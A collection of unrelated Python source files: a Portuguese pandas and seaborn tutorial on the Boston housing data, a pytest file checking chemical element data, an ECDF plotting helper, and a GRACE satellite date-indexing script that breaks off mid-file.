In[51]:\n\n\ndf.shape\n\n\n# O conjunto de dados possui 506 linhas e 13 colunas.\n# \n# Para ter uma ideia melhor do conte\u00fado de cada coluna, podemos usar `DataFrame.describe`, que retorna o valor m\u00e1ximo, valor m\u00ednimo, m\u00e9dia e desvio padr\u00e3o dos valores num\u00e9ricos em cada coluna, al\u00e9m dos quartis de cada coluna:\n\n# In[52]:\n\n\ndf.describe()\n\n\n# Como o conjunto de dados pode ter muitas colunas, muitas vezes pode ser \u00fatil transpor os resultados de `DataFrame.describe` para melhor us\u00e1-los:\n\n# Observe que voc\u00ea tamb\u00e9m pode examinar estat\u00edsticas descritivas espec\u00edficas para colunas sem ter que invocar `DataFrame.describe`:\n\n# In[53]:\n\n\ndf['MEDV'].mean()\n\n\n# In[54]:\n\n\ndf['MEDV'].max()\n\n\n# In[55]:\n\n\ndf['AGE'].median()\n\n\n# ### Exercicio 1:\n\n# In[56]:\n\n\n#Encontre o valor m\u00e1ximo em df['AGE'].\ndf['AGE'].max()\n\n\n# Outra informa\u00e7\u00e3o que voc\u00ea frequentemente desejar\u00e1 ver \u00e9 a rela\u00e7\u00e3o entre as diferentes colunas. Voc\u00ea faz isso com o m\u00e9todo `DataFrame.groupby`. Por exemplo, voc\u00ea pode examinar a MEDV m\u00e9dia (valor m\u00e9dio das casas ocupadas pelo propriet\u00e1rio) para cada valor de AGE (propor\u00e7\u00e3o de unidades ocupadas pelo propriet\u00e1rio constru\u00eddas antes de 1940):\n\n# In[57]:\n\n\ndf.groupby(['AGE'])['MEDV'].mean()\n\n\n# ### Exerc\u00edcio 2:\n\n# In[58]:\n\n\n# Agora tente encontrar o valor mediano de AGE para cada valor de MEDV.\ndf.groupby(['MEDV'])['AGE'].mean()\n\n\n# Voc\u00ea tamb\u00e9m pode aplicar uma fun\u00e7\u00e3o lambda a cada elemento de uma coluna `DataFrame` usando o m\u00e9todo `apply`. Por exemplo, digamos que voc\u00ea queira criar uma nova coluna que sinalize uma linha se mais de 50 por cento das casas ocupadas pelo propriet\u00e1rio forem constru\u00eddas antes de 1940:\n\n# In[59]:\n\n\ndf['AGE_50'] = df['AGE'].apply(lambda x: x>50)\n\n\n# Depois de aplicado, voc\u00ea tamb\u00e9m ver\u00e1 quantos valores retornaram verdadeiros e quantos falsos usando o m\u00e9todo `value_counts`:\n\n# In[60]:\n\n\ndf['AGE_50'].value_counts()\n\n\n# Voc\u00ea tamb\u00e9m pode examinar os n\u00fameros da instru\u00e7\u00e3o groupby que criou anteriormente:\n\n# In[61]:\n\n\ndf.groupby(['AGE_50'])['MEDV'].mean()\n\n\n# Voc\u00ea tamb\u00e9m pode agrupar por mais de uma vari\u00e1vel, como AGE_50 (aquela que voc\u00ea acabou de criar), CHAS (se uma cidade est\u00e1 no rio Charles) e RAD (um \u00edndice que mede o acesso \u00e0s rodovias radiais da \u00e1rea de Boston) e, em seguida, avalie cada grupo para o pre\u00e7o m\u00e9dio m\u00e9dio de uma casa nesse grupo:\n\n# In[62]:\n\n\ngroupby_twovar=df.groupby(['AGE_50','RAD','CHAS'])['MEDV'].mean()\n\n\n# In[63]:\n\n\ngroupby_twovar\n\n\n# Vamos analisar esses resultados com um pouco mais de profundidade. A primeira linha relata que as comunidades com menos da metade das casas constru\u00eddas antes de 1940, com um \u00edndice de acesso \u00e0 rodovia de 1, e que n\u00e3o est\u00e3o situadas no rio Charles, t\u00eam um pre\u00e7o m\u00e9dio de casa de \\$ 24.667 (d\u00f3lares dos anos 1970); a pr\u00f3xima linha mostra que para comunidades semelhantes \u00e0 primeira linha, exceto por estarem localizadas no Charles River, o pre\u00e7o m\u00e9dio da casa \u00e9 de \\$ 50.000.\n# \n# Um insight que surge ao continuar a descer \u00e9 que, se todo o resto for igual, estar localizado pr\u00f3ximo ao rio Charles pode aumentar significativamente o valor do estoque de habita\u00e7\u00f5es mais recentes. A hist\u00f3ria \u00e9 mais amb\u00edgua para comunidades dominadas por casas antigas: a proximidade com o Charles aumenta significativamente os pre\u00e7os das casas em uma comunidade (e presumivelmente mais longe da cidade); para todos os outros, estar situado \u00e0s margens do rio proporcionou um aumento modesto no valor ou, na verdade, diminuiu os pre\u00e7os m\u00e9dios das resid\u00eancias.\n# \n# Embora agrupamentos como este possam ser uma \u00f3tima maneira de come\u00e7ar a interrogar seus dados, voc\u00ea pode n\u00e3o se importar com o formato 'alto' que eles v\u00eam. Nesse caso, voc\u00ea pode desempilhar os dados em um formato \"amplo\":\n\n# In[64]:\n\n\ngroupby_twovar.unstack()\n\n\n# ### Exerc\u00edcio 3:\n\n# In[65]:\n\n\n# Como voc\u00ea poderia usar groupby para ter uma no\u00e7\u00e3o da propor\u00e7\u00e3o\n#N\u00ba de terrenos residenciais zoneados para lotes com mais de 25.000 p\u00e9s quadrados,\n# a propor\u00e7\u00e3o de acres de neg\u00f3cios n\u00e3o varejistas por cidade,\n# e a dist\u00e2ncia das cidades dos centros de emprego em Boston?#\n\ndf.groupby(['ZN', 'INDUS'])['DIS'].mean()\n\n\n# Tamb\u00e9m \u00e9 frequentemente valioso saber quantos valores \u00fanicos uma coluna cont\u00e9m com o m\u00e9todo `nunique`:\n\n# In[66]:\n\n\ndf['CHAS'].nunique()\n\n\n# Complementarmente, voc\u00ea provavelmente tamb\u00e9m desejar\u00e1 saber quais s\u00e3o esses valores exclusivos, que \u00e9 onde o m\u00e9todo `unique` ajuda:\n\n# In[67]:\n\n\ndf['CHAS'].unique()\n\n\n# Voc\u00ea pode usar o m\u00e9todo `value_counts` para ver quantos de cada valor \u00fanico existem em uma coluna:\n\n# In[68]:\n\n\ndf['CHAS'].value_counts()\n\n\n# Ou voc\u00ea pode facilmente tra\u00e7ar um gr\u00e1fico de barras para ver visualmente a divis\u00e3o:\n\n# In[69]:\n\n\nget_ipython().run_line_magic('matplotlib', 'inline')\ndf['CHAS'].value_counts().plot(kind='bar')\n\n\n# Observe que o comando m\u00e1gico do IPython `% matplotlib inline` permite que voc\u00ea visualize o gr\u00e1fico inline.\n# \n# Vamos voltar ao conjunto de dados como um todo por um momento. Duas coisas importantes que voc\u00ea procurar\u00e1 em quase qualquer conjunto de dados s\u00e3o tend\u00eancias e relacionamentos. Uma rela\u00e7\u00e3o t\u00edpica entre as vari\u00e1veis \u200b\u200ba explorar \u00e9 a correla\u00e7\u00e3o de Pearson, ou a extens\u00e3o na qual duas vari\u00e1veis \u200b\u200best\u00e3o linearmente relacionadas. O m\u00e9todo `corr` mostrar\u00e1 isso em formato de tabela para todas as colunas em um` DataFrame`:\n\n# In[70]:\n\n\ndf.corr(method='pearson')\n\n\n# Suponha que voc\u00ea queira apenas examinar as correla\u00e7\u00f5es entre todas as colunas e apenas uma vari\u00e1vel. Vamos examinar apenas a correla\u00e7\u00e3o entre todas as outras vari\u00e1veis \u200b\u200be a porcentagem de casas ocupadas pelos propriet\u00e1rios constru\u00eddas antes de 1940 (AGE). Faremos isso acessando a coluna por n\u00famero de \u00edndice:\n\n# In[71]:\n\n\ncorr = df.corr(method='pearson')\ncorr_with_homevalue = corr.iloc[-1]\ncorr_with_homevalue[corr_with_homevalue.argsort()[::-1]]\n\n\n# Com as correla\u00e7\u00f5es organizadas em ordem decrescente, \u00e9 f\u00e1cil come\u00e7ar a ver alguns padr\u00f5es. Correlacionar AGE com uma vari\u00e1vel que criamos a partir de AGE \u00e9 uma correla\u00e7\u00e3o trivial. No entanto, \u00e9 interessante notar que a porcentagem do estoque de moradias mais antigas nas comunidades est\u00e1 fortemente correlacionada com a polui\u00e7\u00e3o do ar (NOX) e a propor\u00e7\u00e3o de acres de neg\u00f3cios n\u00e3o varejistas por cidade (INDUS); pelo menos em 1978 na \u00e1rea metropolitana de Boston, as cidades mais antigas s\u00e3o mais industriais.\n# \n# Graficamente, podemos ver as correla\u00e7\u00f5es usando um mapa de calor da biblioteca Seaborn:\n\n# In[72]:\n\n\nimport seaborn as sns\nsns.heatmap(df.corr(),cmap=sns.cubehelix_palette(20, light=0.95, dark=0.15))\n\n\n# Os histogramas s\u00e3o outra ferramenta valiosa para investigar seus dados. Por exemplo, qual \u00e9 a distribui\u00e7\u00e3o geral dos pre\u00e7os das casas ocupadas pelos propriet\u00e1rios na \u00e1rea de Boston?\n\n# In[73]:\n\n\nimport matplotlib.pyplot as plt\nplt.hist(df['MEDV'])\n\n\n# O tamanho do compartimento padr\u00e3o para o histograma matplotlib (essencialmente grande de grupos de porcentagens que voc\u00ea inclui em cada barra de histograma, neste caso) \u00e9 muito grande e pode mascarar detalhes menores. Para obter uma vis\u00e3o mais detalhada da coluna AGE, voc\u00ea pode aumentar manualmente o n\u00famero de compartimentos no histograma:\n\n# In[74]:\n\n\nplt.hist(df['MEDV'],bins=50)\n\n\n# \n# \n# Seaborn tem uma vers\u00e3o um pouco mais atraente do histograma matplotlib padr\u00e3o: o gr\u00e1fico de distribui\u00e7\u00e3o. Este \u00e9 um gr\u00e1fico de combina\u00e7\u00e3o de histograma e estimativa de densidade do kernel (KDE) (essencialmente um histograma suavizado):\n\n# In[75]:\n\n\nsns.distplot(df['MEDV'])\n\n\n# Outro gr\u00e1fico comumente usado \u00e9 o Seaborn jointplot, que combina histogramas para duas colunas junto com um gr\u00e1fico de dispers\u00e3o:\n# \n\n# In[76]:\n\n\nsns.jointplot(df['RM'], df['MEDV'], kind='scatter')\n\n\n# Infelizmente, muitos dos pontos s\u00e3o impressos uns sobre os outros. Voc\u00ea pode ajudar a resolver isso adicionando alguma mistura alfa, uma figura que define a transpar\u00eancia para os pontos de forma que as concentra\u00e7\u00f5es deles se sobrepondo sejam aparentes:\n\n# In[77]:\n\n\nsns.jointplot(df['RM'], df['MEDV'], kind='scatter', alpha=0.3)\n\n\n# Outra maneira de ver os padr\u00f5es em seus dados \u00e9 com um gr\u00e1fico bidimensional do KDE. As cores mais escuras aqui representam uma maior concentra\u00e7\u00e3o de pontos de dados:\n\n# In[78]:\n\n\nsns.kdeplot(df['RM'], df['MEDV'], shade=True)\n\n\n# Observe que, embora o gr\u00e1fico do KDE seja muito bom em mostrar concentra\u00e7\u00f5es de pontos de dados, estruturas mais refinadas, como rela\u00e7\u00f5es lineares (como a rela\u00e7\u00e3o clara entre o n\u00famero de quartos nas casas e o pre\u00e7o da casa), s\u00e3o perdidas no gr\u00e1fico do KDE.\n# \n# Finalmente, o gr\u00e1fico de pares no Seaborn permite que voc\u00ea veja gr\u00e1ficos de dispers\u00e3o e histogramas para v\u00e1rias colunas em uma tabela. Aqui, brincamos com algumas das palavras-chave para produzir um gr\u00e1fico de par mais sofisticado e f\u00e1cil de ler que incorpora tanto a combina\u00e7\u00e3o alfa quanto as linhas de regress\u00e3o linear para os gr\u00e1ficos de dispers\u00e3o.\n\n# In[79]:\n\n\nsns.pairplot(df[['RM', 'AGE', 'LSTAT', 'DIS', 'MEDV']], kind=\"reg\", plot_kws={'line_kws':{'color':'red'}, 'scatter_kws': {'alpha': 0.1}})\n\n\n# A visualiza\u00e7\u00e3o \u00e9 o in\u00edcio da parte realmente legal e divertida da ci\u00eancia de dados. Portanto, experimente essas ferramentas de visualiza\u00e7\u00e3o e veja o que voc\u00ea pode aprender com os dados!\n\n# &gt; ** Conclus\u00e3o: ** Uma velha piada diz: \u201cO que um cientista de dados v\u00ea quando olha para um conjunto de dados? Um monte de n\u00fameros. \u201d H\u00e1 mais do que um pouco de verdade nessa piada. A visualiza\u00e7\u00e3o geralmente \u00e9 a chave para encontrar padr\u00f5es e correla\u00e7\u00f5es em seus dados. Embora a visualiza\u00e7\u00e3o muitas vezes n\u00e3o possa fornecer resultados precisos, ela pode indicar a dire\u00e7\u00e3o certa para fazer perguntas melhores e encontrar valor nos dados de maneira eficiente.\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "f8bd37a80c2f554434799b6197d51a7142bc67bb", "size": 34324, "ext": "py", "lang": "Python", "max_stars_repo_path": "Explorando_pandas.py", "max_stars_repo_name": "vieira-giulia/DataScienceExercises", "max_stars_repo_head_hexsha": "bcfaac292850a59fdb306cc98a0c7fffe8edc90d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Explorando_pandas.py", "max_issues_repo_name": "vieira-giulia/DataScienceExercises", "max_issues_repo_head_hexsha": "bcfaac292850a59fdb306cc98a0c7fffe8edc90d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Explorando_pandas.py", "max_forks_repo_name": "vieira-giulia/DataScienceExercises", "max_forks_repo_head_hexsha": "bcfaac292850a59fdb306cc98a0c7fffe8edc90d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.5721040189, "max_line_length": 577, "alphanum_fraction": 0.7386959562, "include": true, "reason": "import numpy", "num_tokens": 9472, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3775406687981454, "lm_q2_score": 0.1329642316084462, "lm_q1q2_score": 0.05019940492768428}}
{"text": "\"\"\"Scientific data tests.\n\nScientific Machine Learning Benchmark: \nA benchmark of regression models in chem- and materials informatics.\n(c) Matthias Rupp 2019, Citrine Informatics.\n\"\"\"\n\nimport pytest\n\nimport numpy as np\n\nimport smlb\n\n##################\n#  element_data  #\n##################\n\n\ndef test_element_data():\n    \"\"\"Tests chemical elements data.\"\"\"\n\n    # simple examples\n    assert smlb.element_data(1, \"abbreviation\") == \"H\"\n\n    # verify proton number\n    assert all(smlb.element_data(i, \"Z\") == i for i in range(1, 119))\n\n    # verify round trip\n    abrvs = [smlb.element_data(i, \"abbreviation\") for i in range(1, 119)]\n    np.random.seed(0)\n    np.random.shuffle(abrvs)\n    assert abrvs == [smlb.element_data(smlb.element_data(a, \"Z\"), \"abbreviation\") for a in abrvs]\n\n", "meta": {"hexsha": "eb40c4d8320c5728d77dbcda8b1d48810b1df9bb", "size": 783, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_physchem.py", "max_stars_repo_name": "kyawlin/smlb", "max_stars_repo_head_hexsha": "79c757d7fc040fb30ad44410be158b3ce3bdf30d", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 6, "max_stars_repo_stars_event_min_datetime": "2020-07-27T21:08:55.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-04T07:00:29.000Z", "max_issues_repo_path": "tests/test_physchem.py", "max_issues_repo_name": "kyawlin/smlb", "max_issues_repo_head_hexsha": "79c757d7fc040fb30ad44410be158b3ce3bdf30d", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 18, "max_issues_repo_issues_event_min_datetime": "2020-09-01T00:47:04.000Z", "max_issues_repo_issues_event_max_datetime": "2021-09-15T22:16:56.000Z", "max_forks_repo_path": "tests/test_physchem.py", "max_forks_repo_name": "kyawlin/smlb", "max_forks_repo_head_hexsha": "79c757d7fc040fb30ad44410be158b3ce3bdf30d", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2020-08-24T21:50:16.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-06T05:18:57.000Z", "avg_line_length": 23.0294117647, "max_line_length": 97, "alphanum_fraction": 0.6577266922, "include": true, "reason": "import numpy", "num_tokens": 209, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713671682749485, "lm_q2_score": 0.10970577242256814, "lm_q1q2_score": 0.05015053662227713}}
{"text": "import numpy as np\n\n\ndef ECDF(data):\n    \"\"\"Compute ECDF for a one-dimensional array of measurements.\"\"\"\n    # Number of data points\n    n = len(data)\n\n    # x-data for the ECDF\n    x = np.sort(data)\n\n    # y-data for the ECDF\n    y = np.arange(1, n+1) / n\n\n    return x, y\n\n\ndef despine(ax):\n    ax.spines['right'].set_visible(False)\n    ax.spines['top'].set_visible(False)\n    \n    \ndef despine_traceplot(traceplot):\n    for row in traceplot:\n        for ax in row:\n            despine(ax)\n", "meta": {"hexsha": "2b57dbc6659cd9441d8abca762dae681d5171176", "size": 492, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/utils.py", "max_stars_repo_name": "seanreed1111/bayesian-stats-modelling-tutorial", "max_stars_repo_head_hexsha": "01d9c0d4f781c9d4847b175d4c3662688743be50", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 602, "max_stars_repo_stars_event_min_datetime": "2018-02-01T19:06:18.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-09T16:07:46.000Z", "max_issues_repo_path": "notebooks/utils.py", "max_issues_repo_name": "seanreed1111/bayesian-stats-modelling-tutorial", "max_issues_repo_head_hexsha": "01d9c0d4f781c9d4847b175d4c3662688743be50", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 61, "max_issues_repo_issues_event_min_datetime": "2018-06-26T04:39:50.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-02T18:09:16.000Z", "max_forks_repo_path": "notebooks/utils.py", "max_forks_repo_name": "seanreed1111/bayesian-stats-modelling-tutorial", "max_forks_repo_head_hexsha": "01d9c0d4f781c9d4847b175d4c3662688743be50", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 261, "max_forks_repo_forks_event_min_datetime": "2018-07-08T02:44:22.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-07T18:15:20.000Z", "avg_line_length": 18.2222222222, "max_line_length": 67, "alphanum_fraction": 0.5995934959, "include": true, "reason": "import numpy", "num_tokens": 136, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4571367168274948, "lm_q2_score": 0.10970576805636037, "lm_q1q2_score": 0.05015053462632323}}
{"text": "#!/usr/bin/env python\nu\"\"\"\ngrace_date.py\nWritten by Tyler Sutterley (05/2021)\n\nReads index file from podaac_grace_sync.py or gfz_isdc_grace_ftp.py\nParses dates of each GRACE/GRACE-FO file and assigns the month number\nCreates an index of dates for GRACE/GRACE-FO files\n\nINPUTS:\n    base_dir: Working data directory for GRACE/GRACE-FO data\n\nOPTIONS:\n    PROC: GRACE data processing center (CSR/CNES/JPL/GFZ/GRAZ/COSTG/SWARM)\n    DREL: GRACE/GRACE-FO Data Release (RL03 for CNES) (RL06 for CSR/GFZ/JPL)\n    DSET: GRACE dataset (GAA/GAB/GAC/GAD/GSM)\n        GAA is the non-tidal atmospheric correction\n        GAB is the non-tidal oceanic correction\n        GAC is the combined non-tidal atmospheric and oceanic correction\n        GAD is the GRACE ocean bottom pressure product\n        GSM is corrected monthly GRACE/GRACE-FO static field product\n    OUTPUT: create index of dates for GRACE/GRACE-FO data\n    MODE: permissions mode of output files\n\nOUTPUTS:\n    dictionary of GRACE/GRACE-FO files indexed by month\n\nPYTHON DEPENDENCIES:\n    numpy: Scientific Computing Tools For Python\n        https://numpy.org\n        https://numpy.org/doc/stable/user/numpy-for-matlab-users.html\n    dateutil: powerful extensions to datetime\n        https://dateutil.readthedocs.io/en/stable/\n    future: Compatibility layer between Python 2 and Python 3\n        https://python-future.org/\n\nPROGRAM DEPENDENCIES:\n    time.py: utilities for calculating time operations\n\nUPDATE HISTORY:\n    Updated 05/2021: define int/float precision to prevent deprecation warning\n    Updated 02/2021: use adjust_months function to fix special months cases\n    Updated 12/2020: Add SWARM data compilance\n    Updated 12/2020: using utilities from time module\n    Updated 11/2020: updated for CNES RL04 & RL05 and GRAZ 2018 (monthly fields)\n    Updated 10/2020: use argparse to set command line parameters\n    Updated 07/2020: added function docstrings\n    Updated 03/2020: for public release\n    Updated 11/2018: updated regular expression pattern for RL06 GFZ\n    Updated 08/2018: using full release string (RL05 instead of 5)\n    Updated 06/2018: using python3 compatible octal and input\n    Updated 05/2018: can read new GRACE file format for RL06 and GRACE-FO\n    Updated 10/2017: added option OUTPUT to write the text file with GRACE dates\n        now will output from the function the GRACE month and file name\n        adjusted regular expression for extracting parameters from filename\n    Updated 02/2017: added mode to modify the permissions of the output file\n    Updated 05-06/2016: using __future__ print function, format date lines\n    Updated 01/2016: minor clean up.  using enumerate for loop\n    Updated 10/2015: added manual fix for month 161 (centered in 160)\n    Updated 05/2015: additional 2 digits to date file to reduce the differences\n        in dates if importing from date file or binary data file\n    Updated 03/2015: added main definition for running from command line\n        further generalization, calculates the Julian date of the GRACE date\n    Updated 11/2014: output more decimal points for date\n    Updated 09/2014: using regular expressions, general code updates\n    Updated 03/2014: printing GRACE month with zero-padding\n    Updated 02/2014: minor update to if statements\n    Updated 01/2014: updated for CNES RL03 (monthly fields)\n    Updated 10/2013: created a directory with both RL04 and RL05 (combining)\n        made a slight edit for the drift rates\n    Updated 09/2013: changed dating schemes for all products\n        for CNES: Solution 1 == 001, versus 10-day from start of 2002\n    Updated 05/2013: modified for use with GUI program\n    Updated 07/2012: changed some variable names, and saving variables\n        start_yr, start_day, end_yr, end_day\n    Updated 07/2012: fix missing date for CSR RL05\n        One of the months 119 registered as 118 as half of 119 is in 118 due to\n        accelerometer issues during 119\n    Updated 06/2012: fixes missing dates to be automatic\n        Also added options to enter the processing center, the data release and\n        the dataset from an external main level program\n    Updated 04/2012: changes for RL05 data\n\"\"\"\nfrom __future__ import print_function\n\nimport os\nimport re\nimport argparse\nimport numpy as np\nimport gravity_toolkit.time\n\ndef grace_date(base_dir, PROC='', DREL='', DSET='', OUTPUT=True, MODE=0o775):\n    \"\"\"\n    Reads index file from podaac_grace_sync.py or gfz_isdc_grace_ftp.py\n    Parses dates of each GRACE/GRACE-FO file and assigns the month number\n    Creates an index of dates for GRACE/GRACE-FO files\n\n    Arguments\n    ---------\n    base_dir: working data directory\n\n    Keyword arguments\n    -----------------\n    PROC: GRACE data processing center\n        CSR: University of Texas Center for Space Research\n        GFZ: German Research Centre for Geosciences (GeoForschungsZentrum)\n        JPL: Jet Propulsion Laboratory\n        CNES: French Centre National D'Etudes Spatiales\n        GRAZ: Institute of Geodesy from GRAZ University of Technology\n        COSTG: International Combination Service for Time-variable Gravity Fields\n\n        SWARM: gravity data from SWARM satellite\n    DREL: GRACE/GRACE-FO data release\n    DSET: GRACE/GRACE-FO dataset\n        GAA: non-tidal atmospheric correction\n        GAB: non-tidal oceanic correction\n        GAC: combined non-tidal atmospheric and oceanic correction\n        GAD: ocean bottom pressure product\n        GSM: corrected monthly static gravity field product\n    OUTPUT: create index file of dates for GRACE/GRACE-FO data\n    MODE: Permission mode of directories and files\n\n    Returns\n    -------\n    output_files: dictionary of GRACE/GRACE-FO files indexed by month\n    \"\"\"\n\n    #--  Directory of exact product\n    grace_dir = os.path.join(base_dir, PROC, DREL, DSET)\n    #-- input index file containing GRACE data filenames\n    with open(os.path.join(grace_dir, 'index.txt'),'r') as f:\n        input_files = f.read().splitlines()\n\n    #--  number of lines in input_files\n    n_files = len(input_files)\n\n    #-- define date variables\n    start_yr = np.zeros((n_files))#-- year start date\n    end_yr = np.zeros((n_files))#-- year end date\n    start_day = np.zeros((n_files))#-- day number start date\n    end_day = np.zeros((n_files))#-- day number end date\n    mid_day = np.zeros((n_files))#-- mid-month day\n    tot_days = np.zeros((n_files))#-- number of days since Jan 2002\n    tdec = np.zeros((n_files))#-- tdec is the date in decimal form\n    mon = np.zeros((n_files,),dtype=np.int64)#-- GRACE/GRACE-FO month number\n\n    if PROC in ('CSR', 'GFZ', 'JPL', 'CNES', 'COSTG'):\n        #-- compile numerical expression operator for parameters from files\n        #-- will work with previous releases and releases for GRACE-FO\n        #-- UTCSR: The University of Texas at Austin Center for Space Research\n        #-- EIGEN: GFZ German Research Center for Geosciences (RL01-RL05)\n        #-- GFZOP: GFZ German Research Center for Geosciences (RL06+GRACE-FO)\n        #-- JPLEM: NASA Jet Propulsion Laboratory (harmonic solutions)\n        #-- JPLMSC: NASA Jet Propulsion Laboratory (mascon solutions)\n        #-- GRGS: CNES Groupe de Recherche de G\u00e9od\u00e9sie Spatiale\n        regex_pattern = (r'(.*?)-2_(\\d+)-(\\d+)_(.*?)_({0})_(.*?)_(\\d+)(.*?)'\n           r'(\\.gz|\\.gfc|\\.txt)?$').format(r'UTCSR|EIGEN|GFZOP|JPLEM|JPLMSC|GRGS|COSTG')\n    elif PROC == 'GRAZ':\n        # -- GRAZ: Institute of Geodesy from GRAZ University of Technology\n        regex_pattern = (r'(.*?)-({0})_(.*?)_(\\d+)-(\\d+)'\n                         r'(\\.gz|\\.gfc|\\.txt)').format(r'Grace_operational|Grace2018')\n    elif PROC == 'SWARM':\n        # -- SWARM: data from SWARM satellite\n        regex_pattern = (r'({0})_(.*?)_(EGF_SHA_2)__(.*?)_(.*?)_(.*?)'\n                         r'(\\.gz|\\.gfc|\\.txt)').format(r'SW')\n    else:\n        raise ValueError(\"Unknown PROC value:\", PROC)\n\n    rx = re.compile(regex_pattern, re.VERBOSE)\n\n    #-- for each data file\n    for t, infile in enumerate(input_files):\n        #-- extract parameters from input filename\n        if PROC in ('CSR', 'GFZ', 'JPL', 'CNES', 'COSTG'):\n            PFX,start_date,end_date,AUX,PRC,F1,DRL,F2,SFX = rx.findall(infile).pop()\n\n            #-- find start date, end date and number of days\n            start_yr[t] = np.float64(start_date[:4])\n            end_yr[t] = np.float64(end_date[:4])\n            start_day[t] = np.float64(start_date[4:])\n            end_day[t] = np.float64(end_date[4:])\n\n        elif PROC == 'GRAZ' or PROC == 'SWARM':\n            if PROC == 'GRAZ':\n                PFX,SAT,trunc,year,month,SFX = rx.findall(infile).pop()\n                #-- find start year, end year\n                start_yr[t] = np.float(year)\n                end_yr[t] = np.float(year)\n            elif PROC == 'SWARM':\n                SAT, tmp, PROD, start_date, end_date, RL, SFX = rx.findall(os.path.basename(infile)).pop()\n\n                start_yr[t] = int(start_date[:4])\n                end_yr[t] = int(end_date[:4])\n                month = int(start_date[4:6])\n\n            #-- Calculation of total days since start of campaign\n            #-- Get information on the current year (day per month and day per year)\n            dpm = gravity_toolkit.time.dpm_count(start_yr[t])\n\n            #-- find start day, end day\n            start_day[t] = np.sum(dpm[:np.int(month) - 1]) + 1\n            end_day[t] = np.sum(dpm[:np.int(month)])\n\n        # -- number of days in the starting year for leap and standard years\n        dpy = gravity_toolkit.time.calendar_days(start_yr[t]).sum()\n        #-- end date taking into account measurements taken on different years\n        end_cyclic = (end_yr[t]-start_yr[t])*dpy + end_day[t]\n        #-- calculate mid-month value\n        mid_day[t] = np.mean([start_day[t], end_cyclic])\n\n        #-- calculate Modified Julian Day from start_yr and mid_day\n        MJD = gravity_toolkit.time.convert_calendar_dates(start_yr[t],\n            1.0,mid_day[t],epoch=(1858,11,17,0,0,0))\n        #-- convert from Modified Julian Days to calendar dates\n        cal_date = gravity_toolkit.time.convert_julian(MJD+2400000.5)\n\n        #-- Calculating the mid-month date in decimal form\n        tdec[t] = start_yr[t] + mid_day[t]/dpy\n\n        #-- Calculation of total days since start of campaign\n        count = 0\n        n_yrs = np.int64(start_yr[t]-2002)\n        #-- for each of the GRACE years up to the file year\n        for iyr in range(n_yrs):\n            #-- year\n            year = 2002 + iyr\n            #-- add all days from prior years to count\n            #-- number of days in year i (if leap year or standard year)\n            count += gravity_toolkit.time.calendar_days(year).sum()\n\n        #-- calculating the total number of days since 2002\n        tot_days[t] = np.mean([count+start_day[t], count+end_cyclic])\n\n        #-- Calculates the month number (or 10-day number for CNES RL01,RL02)\n        if ((PROC == 'CNES') and (DREL in ('RL01','RL02'))):\n            mon[t] = np.round(1.0+(tot_days[t]-tot_days[0])/10.0)\n        else:\n            #-- calculate the GRACE/GRACE-FO month (Apr02 == 004)\n            #-- https://grace.jpl.nasa.gov/data/grace-months/\n            #-- Notes on special months (e.g. 119, 120) below\n            mon[t] = 12*(cal_date['year']-2002) + cal_date['month']\n\n    #-- The 'Special Months' (Nov 2011, Dec 2011 and April 2012) with\n    #-- Accelerometer shutoffs make the relation between month number\n    #-- and date more complicated as days from other months are used\n    #-- For CSR and GFZ: Nov 2011 (119) is centered in Oct 2011 (118)\n    #-- For JPL: Dec 2011 (120) is centered in Jan 2012 (121)\n    #-- For all: May 2015 (161) is centered in Apr 2015 (160)\n    mon = gravity_toolkit.time.adjust_months(mon)\n\n    #-- Output GRACE/GRACE-FO date ascii file\n    if OUTPUT:\n        date_file = '{0}_{1}_DATES.txt'.format(PROC, DREL)\n        fid = open(os.path.join(grace_dir,date_file), 'w')\n        #-- date file header information\n        args = ('Mid-date','Month','Start_Day','End_Day','Total_Days')\n        print('{0} {1:>10} {2:>11} {3:>10} {4:>13}'.format(*args),file=fid)\n\n    #-- create python dictionary mapping input file names with GRACE months\n    grace_files = {}\n    #-- for each data file\n    for t, infile in enumerate(input_files):\n        #-- add file to python dictionary mapped to GRACE/GRACE-FO month\n        grace_files[mon[t]] = os.path.join(grace_dir,infile)\n        #-- print to GRACE dates ascii file (NOTE: tot_days will be rounded)\n        if OUTPUT:\n            print(('{0:13.8f} {1:03d} {2:8.0f} {3:03.0f} {4:8.0f} {5:03.0f} '\n                '{6:8.0f}').format(tdec[t],mon[t],start_yr[t],start_day[t],\n                end_yr[t],end_day[t],tot_days[t]), file=fid)\n\n    #-- close date file\n    #-- set permissions level of output date file\n    if OUTPUT:\n        fid.close()\n        os.chmod(os.path.join(grace_dir, date_file), MODE)\n\n    #-- return the python dictionary that maps GRACE months with GRACE files\n    return grace_files\n\n#-- PURPOSE: program that calls grace_date() with set parameters\ndef main():\n    #-- command line parameters\n    #-- Read the system arguments listed after the program\n    parser = argparse.ArgumentParser(\n        description=\"\"\"Parses dates of each GRACE/GRACE-FO file and\n            assigns the month number.\n            Creates an index of dates for GRACE/GRACE-FO files.\n            